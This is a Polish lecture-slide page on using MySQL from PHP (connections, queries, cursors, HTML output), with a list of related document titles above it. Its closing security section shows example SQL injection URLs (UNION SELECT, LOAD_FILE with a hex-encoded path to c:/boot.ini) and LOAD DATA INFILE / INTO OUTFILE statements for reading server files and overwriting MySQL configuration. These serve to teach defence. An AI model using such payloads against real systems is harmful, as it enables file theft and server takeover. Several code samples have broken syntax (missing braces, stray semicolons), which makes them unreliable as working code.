Zagadnienia. Konstrukcja bibliotek mysql i mysqli w PHP. Dynamiczne generowanie stron. Połączenie, zapytanie i sesja



Podobne dokumenty
Internetowe bazy danych

Wydział Elektrotechniki, Informatyki i Telekomunikacji Instytut Informatyki i Elektroniki

Instalacja MySQL.

5. Współpraca z bazą danych MySQL

Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07

PHP może zostać rozszerzony o mechanizmy dostępu do różnych baz danych:

Bazy Danych i Usługi Sieciowe

Autor: Joanna Karwowska

Języki programowania wysokiego poziomu. PHP cz.4. Bazy danych

PHP: bazy danych, SQL, AJAX i JSON

Zaawansowane bazy danych i hurtownie danych

Podstawy programowania III WYKŁAD 2

Aplikacje WWW - laboratorium

ZAAWANSOWANE BAZY DANYCH I HURTOWNIE DANYCH MySQL, PHP

Ćwiczenia laboratoryjne nr 11 Bazy danych i SQL.

BAZY DANYCH. Obsługa bazy z poziomu języka PHP. opracowanie: Michał Lech

Aplikacje WWW - laboratorium

Bazy Danych i Usługi Sieciowe

Bazy danych i usługi sieciowe

PHP + MySQL w laboratorium (1)

Sprawdzenie czy połączenie przebiegło poprawnie if (mysqli_connect_errno()) { echo Błąd; Połączenie z bazą danych nie powiodło się.

Wykład 5: PHP: praca z bazą danych MySQL

Systemy internetowe. Wykład 4 mysql. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

Dlaczego PHP? - zalety

Internetowe bazy danych

Bazy Danych - Instrukcja do Ćwiczenia laboratoryjnego nr 8

Dostęp do baz danych z serwisu www - PHP. Wydział Fizyki i Informatyki Stosowanej Joanna Paszkowska, 4 rok FK

Bazy danych II. Andrzej Grzybowski. Instytut Fizyki, Uniwersytet Śląski

W tej części zajmiemy się ćwiczeniami dotyczącymi modyfikacji rekordów.

Database Connectivity

6. Bezpieczeństwo przy współpracy z bazami danych

Zajęcia 13 wykorzystanie MySQL w PHP cz. 2

Projektowanie aplikacji w modelu MVC opartej o framework CodeIgniter

strukturalny język zapytań używany do tworzenia i modyfikowania baz danych oraz do umieszczania i pobierania danych z baz danych

Część VII Baza danych MySQL i PHP

Dokumentacja interfejsu HTTPD. Platforma BSMS.PL Instrukcja podłączenia po przez http

Założenia do ćwiczeń: SQL Server UWM Express Edition: \SQLEXPRESS. Zapoznaj się ze sposobami użycia narzędzia T SQL z wiersza poleceń.

15. Funkcje i procedury składowane PL/SQL

Obiektowe bazy danych

Sprzeg podstawowy do baz danych w PHP Mateusz Sowa, 2007

Laboratorium nr 4. Temat: SQL część II. Polecenia DML

PHP. Tematyka wykładów: Język PHP PHP i bazy danych Rozszerzenia PHP

Język SQL, zajęcia nr 1

Podstawy programowania (PHP/Java)

Bazy danych. Wykład IV SQL - wprowadzenie. Copyrights by Arkadiusz Rzucidło 1

Projektowanie systemów baz danych

PHP zaawansowane programowanie

SQL injection. Metody włamań do systemów komputerowych p. 1/13. Bogusław Kluge, Karina Łuksza, Ewa Makosa

Informatyka I. Programowanie aplikacji bazodanowych w języku Java. Standard JDBC.

Bazy Danych i Usługi Sieciowe

Zajęcia 11 wykorzystanie MySQL w PHP

Współpraca PHP z MySql

Wyrażenie include(sciezka_do_pliku) pozwala na załadowanie (wnętrza) pliku do skryptu php. Plik ten może zawierać wszystko, co może się znaleźć w

Gerard Frankowski, Zespół Bezpieczeństwa PCSS. Nowoczesne technologie bliżej nas Poznań,

CREATE USER

Wykład 05 Bazy danych

Spis treści. Wstęp 5 Rozdział 1. Praca z AJAX-em 9. Rozdział 2. Współpraca ze skryptami PHP 55. Rozdział 3. Obsługa formularzy 81

Wprowadzenie do BD Operacje na bazie i tabelach Co poza zapytaniami? Algebra relacji. Bazy Danych i Systemy informacyjne Wykład 2.

Internetowe bazy danych

I.Wojnicki, JiTW. PHP PHP Hypertext Preprocessor. Igor Wojnicki. Katedra Informatyki Stosowanej Akademia Górniczo-Hutnicza w Krakowie.

Instytut Mechaniki i Inżynierii Obliczeniowej Wydział Mechaniczny Technologiczny Politechnika Śląska

Informatyka I. Standard JDBC Programowanie aplikacji bazodanowych w języku Java

Java i jej wykorzystanie do tworzenia dynamicznych aplikacji Webowych

Paweł Rajba

Baza danych do przechowywania użytkowników

Aby uruchomić program klienta i połączyć się z serwerem, należy komendę:

I.Wojnicki, PHP. PHP PHP Hypertext Preprocessor. Igor Wojnicki. Katedra Informatyki Stosowanej Akademia Górniczo-Hutnicza w Krakowie

Bezpieczeństwo Systemów Informacyjnych lab. 13

PHP i MySQL dla każdego / Marcin Lis. Wyd. 3. Gliwice, cop Spis treści

Metody dostępu do danych

Systemowe aspekty baz

SSK - Techniki Internetowe

SYSTEMY TELEINFORMATYCZNE

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

Bezpieczeństwo systemów komputerowych

Dokumentacja smsapi wersja 1.4

Programowanie MSQL. show databases; - pokazanie jakie bazy danych są dostępne na koncie

Współpraca PHP z MySql cz.2

Aplikacje internetowe

Systemowe aspekty baz danych

Zaawansowane bazy danych i hurtownie danych studia zaoczne II stopnia, sem. I

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Bazy Danych i Usługi Sieciowe

Składowane procedury i funkcje

SQL 4 Structured Query Lenguage

Projektowani Systemów Inf.

1. Sprawdzenie ustawień konfiguracyjnych. Uruchomienie wiersza poleceń:..\ścieżka\bin>mysqladmin variables

Serwer WWW Apache. Plik konfiguracyjny httpd.conf Definiujemy m.in.: Aktualne wersje 2.4.6, , zakończony projekt

JDBC w LoXiMie. Interfejs Java Database Connectivity dla systemu LoXiM. Adam Michalik 2008

Wprowadzenie do framework a Symfony

Żeby korzystać z opisywanego modułu, należy go włączyć do kompilowanej wersji interpretatora PHP:

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

JQuery. $('#pierwszy').css('color','red').hide('slow').show(3000); $(document).ready(function() { //... tutaj nasze skrypty jquery //...

Spis treści 1. Założenia ogólne 2. Wymagania 3. Typy SMSów 4. Statusy SMSów 5. Wysyłanie SMSów - Web API 6. Wysyłanie SMSów - 7.

Aplikacje WWW - laboratorium PHP + bazy danych

Aspekty bezpieczeństwa aplikacji internetowych

INFORMATYKA MÓJ SPOSÓB NA POZNANIE I OPISANIE ŚWIATA PROGRAM NAUCZANIA INFORMATYKI Z ELEMENTAMI PRZEDMIOTÓW MATEMATYCZNO-PRZYRODNICZYCH

Bazy danych. dr Radosław Matusik. radmat

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Transkrypt:

Zagadnienia Konstrukcja bibliotek mysql i mysqli w PHP Dynamiczne generowanie stron Połączenie, zapytanie i sesja Podstawowe opakowanie dla zapytań SQL w PHP Zarządzania uŝytkownikami Włamania do mysql przez PHP

Implementacja MySQL w PHP Implementacja obsługi mysql odbywa się w postaci natywnego API dla PHP: mysql, mysqli lub PDO mysql mysqli PDO Alternatywą jest stosowanie Open Connectivity (np. ODBC): ODBC ODBC

PHP i MySQL Konstrukcja dynamicznego HTML z szablonu w PHP i danych:

(my)sql w PHP Operacje na bazie przeprowadzane są przez handlery połączeń PHP zapewnia specjalny typ resource: połączenie z serwerem HTTP connection MySQL connection MySQL query

mysql_connect resource mysql_connect ( [ string $serwer [, string $nazwa_uŝytkownika [, string $hasło [, bool $nowe_połączenie [, int $flagi_klienta ]]]]] ) Serwer, do jakiego łączymy user password testowanie, jeśli juŝ otwarte? dodatki

Obsługa błędów MySQL wysyła błędy do PHP mogą być one przechwycone: int mysql_errno ([ resource $link ] ) string mysql_error ([ resource $link ] ) Typowa obsługa: <?php $link = mysql_connect('localhost', alex', lipton'); if (!$link) { die('nie moŝna się połaczyć: '. mysql_error());?>

Wybór bazy danych Wybranie połączenia z bazą (moŝe być takŝe baza domyślna) bool mysql_select_db ( string $nazwa_bazy [, resource $identyfikator_połączenia ] ) <?php $link = mysql_connect('localhost', user', pass') or die('nie połączono: '.mysql_error()); $db_selected = mysql_select_db( moja1', $link); if (!$db_selected) { die ('Nie moŝna ustawić moja1: '.mysql_error());?>

Sprzątamy po zakończeniu pracy Dobrze napisany skrypt usuwa po sobie połączenie (choć nie jest to konieczne dla połączeń nie-stałych); bool mysql_close ([ resource $link ] ) Dobry skrypt: otwórz-wybierz-query1-query2- -queryn-zamknij <?php $link = mysql_connect('localhost', alex', lipton'); mysql_select_db( moja_baza ); Query1; // jak za chwilę Query2; // itd. close($link);?>

Zapytania: typu result i typu exec Zapytanie typu result zwraca JAKIŚ wynik (tabelę). Zapytania tego typu to: SELECT, DESCRIBE, EXPLAIN i SHOW Zapytanie typu exec wykonuje się na bazie danych i zwraca jedynie status (true, albo false). Typowe zapytania to CREATE, DELETE, DROP i INSERT. Oba typy zapytań obsługuje funkcja mysql_query. Dla zapytań result zwracany jest resource typu handler wyniku. Dla zapytań exec zwracany jest resource typu bool. resource mysql_query ( string $query [, resource $link [, int $typ_wyniku ]] ) Treść zapytania Handler połączenia (otwartego!) Flagi (np. buforowanie)

Zapytania typu exec Zapytania takie mają prostą obsługę błędów: <?php $link = mysql_connect('localhost', alex', lipton'); $query = "insert into faktura values ( N12943 )"; $result = mysql_query($query) or die("zapytanie niepoprawne:".mysql_error()); close($link);?> zwrócona wartość to TRUE lub FALSE Dodatkowo, moŝna sprawdzić, ile krotek uległo zmianie (DELETE!): int mysql_affected_rows ([ resource $link ] ) int mysql_insert_id ([ resource $ link ] )

Zapytania typu result Zapytania tego typu zwracają tabelę (jako handler wyniku) z danymi. Jest ona przetwarzana wolniej niŝ kursor SQL. mixed mysql_result ( resource $wynik, int $wiersz [, mixed $pole ] ) Wynik zwrócony przez mysql_query() Który wiersz wyniku (numerowanie od 0) Która kolumna wyniku (numerowanie od 0) zwrócona wartość to handler tablicy <?php $link = mysql_connect('localhost', alex', lipton'); $result = mysql_query("select * from faktura") or die("zapytanie niepoprawne:".mysql_error()); $dana = mysql_result($result,0,0); echo $dana; close($link);?>

Kursor - Szybka forma przetwarzania Funkcja mysql_fetch_row działa szybciej niŝ mysql_result array mysql_fetch_row (resource $wynik) bool mysql_data_seek (resource $wynik, int $nr) mysql_query() mysql_data_seek() mysql_fetch_row() int mysql_num_rows (resource $wynik) int mysql_num_fields (resource $wynik) mysql_data_fields() mysql_num_rows()

Obsługa kursora po stronie PHP function DBArrayQuery($query) { $link = mysql_connect('localhost', alex', lipton'); $result = @mysql_query($query); $tablica = array(); $num_fields = mysql_num_fields($result); // kursor - X $num_rows = mysql_num_rows($result); // kursor - Y $nr_row = 0; while ($nr_row < $num_rows) { $nr_field = 0; $curr_row = mysql_fetch_row($result); while ($nr_field < $num_fields) { $tablica[$nr_row][$nr_field]=$curr_row[$nr_field]; $nr_field++; $nr_row++; return $tablica;

Obsługa praw dostępu Autoryzacja za pomocą wielu uŝytkowników: database: mysql database: mysql Autoryzacja za pomocą auth-usera: database: moja

Typowe problemy: Na stronach zbudowanych w oparciu o PHP często napotykamy na błędy przy wywołaniu takiej funkcji: function DBInsert($value) { $link = mysql_connect('localhost', alex', lipton'); $query = insert into pracownik (nazwisko) values ; $query.= (.$value. ) ; @mysql_query($query); mysql_close($link);... DBInsert( Kowalski ); Dlaczego?

Typowe problemy: Problemem jest fakt, Ŝe uŝytkownik lub autor skryptu moŝe dopisać do zapytania łańcuchy zaburzające składnię SQL: function DBInsert($value) { $link = mysql_connect('localhost', alex', lipton'); $query = insert into pracownik (nazwisko) values ; $query.= (.$value. ) ; @mysql_query($query); DBInsert( d`artagnan ); insert into pracownik (nazwisko) values ( d Artagnan ); Aby tego uniknąć moŝna zastosować funkcję ochronną: string mysql_escape_string ( string $łańcuch )

Tablica SQL w tabelce HTML dzięki tablicy PHP Etapy rozwiązywania problemu: ObsłuŜyć połączenie z bazą danych Wysłać zapytanie Odebrać rezultat i wpisać do tablicy dwuwymiarowej w PHP Opakować zawartość tablicy PHP w znaczniki HTML Funkcja tworząca połączenie: function DBlink($db_base, $db_user, $db_pass) { $link = mysql_connect($db_host, $db_user, $db_pass) or die ('Cant access: '. mysql_error()); mysql_select_db($db_base, $link); or die ('Cant switch to DB: '. mysql_error()); return $link;

Tablica SQL w tabelce HTML dzięki tablicy PHP Funkcja wysyłająca zapytanie i odbierająca wynik: function DBArrayQuery($query) { $link = DBlink(); $result = @mysql_query($query); $tablica = array(); $nr_row = 0; while ($nr_row < mysql_num_rows($result)) { $nr_field = 0; $curr_row = mysql_fetch_row($result); while ($nr_field < mysql_num_fields($result); ){ $tablica[$nr_row][$nr_field]=$curr_row[$nr_field]; $nr_field++; $nr_row++; return $tablica;

Tablica SQL w tabelce HTML dzięki tablicy PHP Funkcja obsługująca wynik w postaci HTML: function HTMLize($tablica) { echo <TABLE BORDER=1> ; foreach ($tablica as $wiersz) { echo <TR> ; foreach ($wiersz as $komorka) { HTMLize(DBArrayQuery( select echo <TD>. $komorka. name, </TD> ; ind from stuent )); echo </TD> ; Program główny: HTMLize(DBArrayQuery( select name, ind from student ));

Uwagi o bezpieczeństwie NajwaŜniejsze przykazania: NIGDY nie pisz skryptów łączących się do bazy jako root (mysql) NIGDY nie uruchamiaj serwera bazy danych z konta superusera Nie dopuszczaj do wykonania komendy LOAD DATA INFILE z sieci Nie dopuszczaj do wykonania komendy SELECT INTO OUTFILE z sieci Nie pozwalaj na generowanie dowolnych SQLi przez uŝytkownika UwaŜaj na SQL injection attack SQL Injection attack (UNION type): $query = "SELECT * FROM user where max_connections = ". $_REQUEST['user']; $result = mysql_result($query); http://mojastrona.com/query.php?user=0 http://mysql.example.com/query.php?user=1+union+select+n ame,dl,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+func

Atak typu UNION + LOAD FILE W SQL łańcuch tekstowy moŝna reprezentować jako jego wartości numeryczne. Na przykład: 'c:/boot.ini' jest równoznaczne z: 0x633a2f626f6f742e696e69 Skoro tak to moŝna wykonać zapytanie select 0x633a2f626f6f742e696e69 A więc moŝna wpisać taki URL: http://mysql.example.com/query.php?user=1+union+select+l oad_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 I zobaczyć W PRZEGLĄDARCE: [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)pa 1 1 N N N N N N N N N N N N N N N N N N N N N 1 1 1 1 1 1

Ataki typu DATA INFILE/DATA OUTFILE Ta metoda ataku wymaga dopuszczenia zapytań SQL podawanych przez klienta. śeby obejrzeć plik z serwera wystarczy: create table foo( line blob ); load data infile 'c:/boot.ini' into table foo; select * from foo; Ta metoda ataku pozwala (na niespatchowanym mysql) na podmianę plików konfiguracyjnych: create table xxx( line text ); insert into xxx values ( A to mój nowy plik konfiguracyjny ); select line from xxx into c:\mysql\mysql.cnf